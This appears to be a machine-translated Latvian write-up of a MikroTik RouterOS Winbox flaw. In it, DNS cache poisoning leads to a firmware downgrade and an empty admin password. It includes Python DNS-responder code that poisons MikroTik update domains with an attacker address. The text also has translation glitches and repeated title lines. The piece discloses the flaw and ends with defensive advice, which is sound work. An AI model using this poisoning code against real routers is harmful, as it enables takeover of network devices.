RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Iespēja attālināti pazemināt ierīces, kuru pamatā ir RouterOS (Mikrotik), apdraud simtiem tūkstošu tīkla ierīču. Ievainojamība ir saistīta ar Winbox protokola DNS kešatmiņas saindēšanos un ļauj ielādēt ierīcē novecojušu (ar noklusējuma paroles atiestatīšanu) vai modificētu programmaparatūru.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Sīkāka informācija par ievainojamību

RouterOS terminālis atbalsta DNS uzmeklēšanas komandu atrisināt.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Šo pieprasījumu apstrādā binārs, ko sauc par atrisinātāju. Resolver ir viens no daudzajiem binārajiem failiem, kas savienojas ar RouterOS Winbox protokolu. Augstā līmenī "ziņojumi", kas tiek nosūtīti uz Winbox portu, var tikt novirzīti uz dažādiem RouterOS binārajiem failiem, pamatojoties uz masīvu numerācijas shēmu.

Pēc noklusējuma RouterOS ir atspējota DNS servera funkcija.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Tomēr pat tad, ja servera funkcija ir atspējota, maršrutētājs uztur savu DNS kešatmiņu.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Kad mēs iesniedzam pieprasījumu, izmantojot winbox_dns_request, piemēram, example.com, maršrutētājs saglabās rezultātu kešatmiņā.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Tā kā mēs varam norādīt DNS serveri, caur kuru jānosūta pieprasījums, nepareizu adrešu ievadīšana ir triviāla. Piemēram, varat konfigurēt DNS servera ieviešanu no Filips Klausslai vienmēr atbildētu ar A ierakstu, kas satur IP adresi 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Tagad, ja meklējat vietni example.com, izmantojot Winbox, varat redzēt, ka maršrutētāja DNS kešatmiņa ir saindēta.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Protams, saindēšanās example.com nav īpaši noderīga, jo maršrutētājs to faktiski neizmantos. Tomēr maršrutētājam ir jāpiekļūst upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com un download.mikrotik.com. Un, pateicoties vēl vienai kļūdai, tos visus ir iespējams saindēt uzreiz.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Maršrutētājs pieprasa vienu atļauju, un mēs atdodam piecas. Maršrutētājs visas šīs atbildes nesaglabā pareizi kešatmiņā.

RouterOS backport ievainojamība apdraud simtiem tūkstošu ierīču

Acīmredzot šis uzbrukums ir noderīgs arī tad, ja maršrutētājs darbojas kā DNS serveris, jo tas ļauj uzbrukt maršrutētāja klientiem.

Šis uzbrukums ļauj izmantot arī nopietnāku ievainojamību: pazemināt vai pārsūtīt RouterOS versiju. Uzbrucējs atjauno atjaunināšanas servera loģiku, tostarp izmaiņu žurnālu, un liek RouterOS uztvert novecojušo (neaizsargāto) versiju kā aktuālu. Šeit briesmas slēpjas faktā, ka, kad versija tiek “atjaunināta”, administratora parole tiek atiestatīta uz noklusējuma vērtību - uzbrucējs var pieteikties sistēmā ar tukšu paroli!


Uzbrukums ir diezgan efektīvs, neskatoties uz to autors ievieš vēl vairākus vektorus, tostarp tos, kas saistīti ar aizmugures durvju iegulšana programmaparatūrā, bet tas jau ir lieks paņēmiens un tā izmantošana nelikumīgiem mērķiem ir nelikumīga.

Aizsardzība

Vienkārši Winbox atspējošana ļauj pasargāt sevi no šiem uzbrukumiem. Neskatoties uz administrēšanas ērtībām, izmantojot Winbox, labāk ir izmantot SSH protokolu.

Avots: www.habr.com

Pievieno komentāru